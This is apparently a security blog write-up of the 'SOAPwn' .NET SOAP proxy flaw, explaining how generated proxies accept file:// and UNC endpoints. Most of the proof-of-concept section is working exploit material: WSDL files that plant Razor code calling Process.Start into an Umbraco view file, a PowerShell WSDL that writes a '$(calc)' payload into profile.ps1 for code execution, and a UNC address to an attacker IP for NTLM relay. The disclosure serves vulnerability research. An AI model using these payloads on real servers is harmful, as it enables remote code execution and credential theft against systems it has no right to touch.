SOAPwn

.NET SOAP Client Proxy Abuse

Executive Summary

The SOAPwn vulnerability class impacts the .NET Framework SOAP client stack, specifically how SOAP proxies generated from WSDL files handle transport protocols. By design, .NET's HttpWebClientProtocol is expected to operate over HTTP(S). However, due to a flawed type-handling decision in the framework, non-HTTP URI schemes such as file:// and UNC paths are silently accepted and processed.

When applications dynamically import WSDL files (for example, using ServiceDescriptionImporter) and subsequently invoke generated SOAP proxy methods, attackers can weaponize this behavior to achieve arbitrary file writes, NTLM credential relaying, and in many real-world cases remote code execution. The issue is systemic: it affects the .NET Framework itself rather than a single product, and Microsoft has chosen not to patch it, placing responsibility on application developers to implement their own mitigations.


Technical Deep Dive – Root Cause and Exploitation

Root Cause: Unsafe WebRequest Handling in .NET SOAP Clients

The fundamental issue resides in the .NET Framework's HttpWebClientProtocol.GetWebRequest() implementation:

N/ACSHARP
protected override WebRequest GetWebRequest(Uri uri)
{
    WebRequest webRequest = base.GetWebRequest(uri); // [1]
    HttpWebRequest httpWebRequest = webRequest as HttpWebRequest; // [2]
    if (httpWebRequest != null)
    {
        httpWebRequest.UserAgent = this.UserAgent;
        httpWebRequest.AllowAutoRedirect = this.allowAutoRedirect;
        httpWebRequest.AutomaticDecompression = (this.enableDecompression ? DecompressionMethods.GZip : DecompressionMethods.None);
        httpWebRequest.AllowWriteStreamBuffering = true;
        httpWebRequest.SendChunked = false;
        if (this.unsafeAuthenticatedConnectionSharing != httpWebRequest.UnsafeAuthenticatedConnectionSharing)
        {
            httpWebRequest.UnsafeAuthenticatedConnectionSharing = this.unsafeAuthenticatedConnectionSharing;
        }
        if (this.proxy != null)
        {
            httpWebRequest.Proxy = this.proxy;
        }
        if (this.clientCertificates != null && this.clientCertificates.Count > 0)
        {
            httpWebRequest.ClientCertificates.AddRange(this.clientCertificates);
        }
        httpWebRequest.CookieContainer = this.cookieJar;
    }
    return webRequest; // [3]
}

Key properties of this logic:

  • [1] base.GetWebRequest(uri) returns a protocol-specific WebRequest
  • For file:// URIs, this is a FileWebRequest
  • [2] The invalid cast to HttpWebRequest fails silently
  • [3] The original WebRequest is returned without scheme validation

As a result, SOAP client code intended for HTTP(S) transparently accepts non-HTTP transports.


PoC || GTFO

Umbraco 8.18.15 (Authenticated) - WIP

Requirements

  • Low-privileged user with Editor role
  • Access to Forms → Data Sources

Attack Chain

  1. Import attacker-controlled WSDL via Forms Data Source
  2. Generated proxy embeds a file:// SOAP endpoint
  3. Form submission invokes proxy method
  4. SOAP request is written to disk via FileWebRequest

Notes

  • SOAP 1.1 only
  • Proxy import confirmed
  • Execution via Forms is partially restricted (WIP)

Can import:

N/AXML
<?xml version="1.0" encoding="utf-8"?>
<definitions
  xmlns="http://schemas.xmlsoap.org/wsdl/"
  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
  xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}"
  xmlns:s="http://www.w3.org/2001/XMLSchema"
  targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}">
 
  <types>
    <s:schema
      elementFormDefault="qualified"
      targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}">
      <s:element name="poc">
        <s:complexType/>
      </s:element>
      <s:element name="pocResponse">
        <s:complexType>
          <s:sequence>
            <s:element name="pocResult" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>
 
  <message name="TestIn">
    <part name="parameters" element="tns:poc"/>
  </message>
 
  <message name="TestOut">
    <part name="parameters" element="tns:pocResponse"/>
  </message>
 
  <portType name="TestSoap">
    <operation name="poc">
      <input message="tns:TestIn"/>
      <output message="tns:TestOut"/>
    </operation>
  </portType>
 
  <binding name="TestSoap" type="tns:TestSoap">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="poc">
      <soap:operation
        soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}/poc"/>
      <input>
        <soap:body use="literal"/>
      </input>
      <output>
        <soap:body use="literal"/>
      </output>
    </operation>
  </binding>
 
  <service name="Test">
    <port name="TestSoap" binding="tns:TestSoap">
      <soap:address location="file:///inetpub/umbraco8/Views/Blog.cshtml"/>
    </port>
  </service>
 
</definitions>

Should be able to import following WSDL file:

N/AXML
<?xml version="1.0" encoding="utf-8"?>
<definitions
  xmlns="http://schemas.xmlsoap.org/wsdl/"
  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
  xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}"
  xmlns:s="http://www.w3.org/2001/XMLSchema"
  targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">
 
  <types>
    <s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">
      <s:element name="poc"><s:complexType/></s:element>
      <s:element name="pocResponse">
        <s:complexType>
          <s:sequence>
            <s:element name="pocResult" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>
 
  <message name="InMsg"><part name="parameters" element="tns:poc"/></message>
  <message name="OutMsg"><part name="parameters" element="tns:pocResponse"/></message>
 
  <portType name="SOAPwnMethod">
    <operation name="Execute">
      <input message="tns:InMsg"/>
      <output message="tns:OutMsg"/>
    </operation>
  </portType>
 
  <binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="Execute">
      <soap:operation soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute"/>
      <input><soap:body use="literal"/></input>
      <output><soap:body use="literal"/></output>
    </operation>
  </binding>
 
  <service name="SOAPwnService">
    <port name="SOAPwnPort" binding="tns:SOAPwnBinding">
      <soap:address location="file:///inetpub/umbraco8/Views/Blog.cshtml"/>
    </port>
  </service>
 
</definitions>

To generate following proxy method:

N/ACSHARP
public class UmbracoPoc : SoapHttpClientProtocol
{
    public UmbracoPoc()
    {
        base.Url = "file:///inetpub/umbraco8/Views/Blog.cshtml";
    }
 
    [SoapDocumentMethod("http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute", RequestNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", ResponseNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Wrapped)]
    public string Execute()
    {
        return (string)base.Invoke("Execute", new object[0])[0];
    }
}

PowerShell – Arbitrary File Write → RCE

PowerShell uses the .NET SOAP client stack when importing web services.

Attack Chain

  1. Import malicious SOAP proxy
  2. Trigger method invocation
  3. SOAP payload written to profile.ps1
  4. New PowerShell session loads profile
  5. Arbitrary code execution

PowerShell – NTLM Relay

Attack Chain

  1. SOAP endpoint uses UNC path (file://///attacker/share)
  2. Proxy invocation triggers SMB authentication
  3. NTLM challenge/response captured
  4. Credentials relayed to another host

PowerShell WSDL file used:

N/AXML
<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/"
             xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
             xmlns:s="http://www.w3.org/2001/XMLSchema"
             xmlns:tns="http://tempuri.org/?$(calc)"
             targetNamespace="http://tempuri.org/?$(calc)">
 
  <types>
    <s:schema targetNamespace="http://tempuri.org/?$(calc)" elementFormDefault="qualified">
      <s:element name="Request"><s:complexType/></s:element>
      <s:element name="Response">
        <s:complexType>
          <s:sequence>
            <s:element name="Result" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>
 
  <message name="InMsg">
    <part name="parameters" element="tns:Request"/>
  </message>
  <message name="OutMsg">
    <part name="parameters" element="tns:Response"/>
  </message>
 
  <portType name="SOAPwnMethod">
    <operation name="poc">
      <input message="tns:InMsg"/>
      <output message="tns:OutMsg"/>
    </operation>
  </portType>
 
  <binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="poc">
      <soap:operation soapAction="http://tempuri.org/?$(calc)"/>
      <input><soap:body use="literal"/></input>
      <output><soap:body use="literal"/></output>
    </operation>
  </binding>
 
  <service name="SOAPwnService">
    <port name="SOAPwnMethod" binding="tns:SOAPwnBinding">
      <soap:address location="file:///Windows/System32/WindowsPowerShell/v1.0/profile.ps1"/>
      <!-- <soap:address location="file://192.168.140.128/relaymeplease"/> -->
    </port>
  </service>
 
</definitions>
Disclaimer

All content published on exploit.se is intended strictly for educational and informational purposes. Research is conducted responsibly under coordinated disclosure principles.

Techniques, tools, and writeups shared on this site are meant to advance the security community's understanding of vulnerabilities and defences. They are not intended to encourage or enable unauthorised access to any system.

The author bears no responsibility for any misuse of information presented here.

Cookie Settings

This site does not use cookies, analytics, or any third-party tracking technologies.

No personal data is collected. No fingerprinting. No ads. You are not the product.


 ██╗ ██████╗ ███████╗██╗███████╗███╗   ██╗██████╗
 ██║██╔═══██╗██╔════╝██║██╔════╝████╗  ██║██╔══██╗
 ██║██║   ██║█████╗  ██║█████╗  ██╔██╗ ██║██║  ██║
 ██║██║   ██║██╔══╝  ██║██╔══╝  ██║╚██╗██║██║  ██║
 ██║╚██████╔╝██║     ██║███████╗██║ ╚████║██████╔╝
 ╚═╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚═╝  ╚═══╝╚═════╝
You found me.
↑↑↓↓←→←→ B A  ·  click to close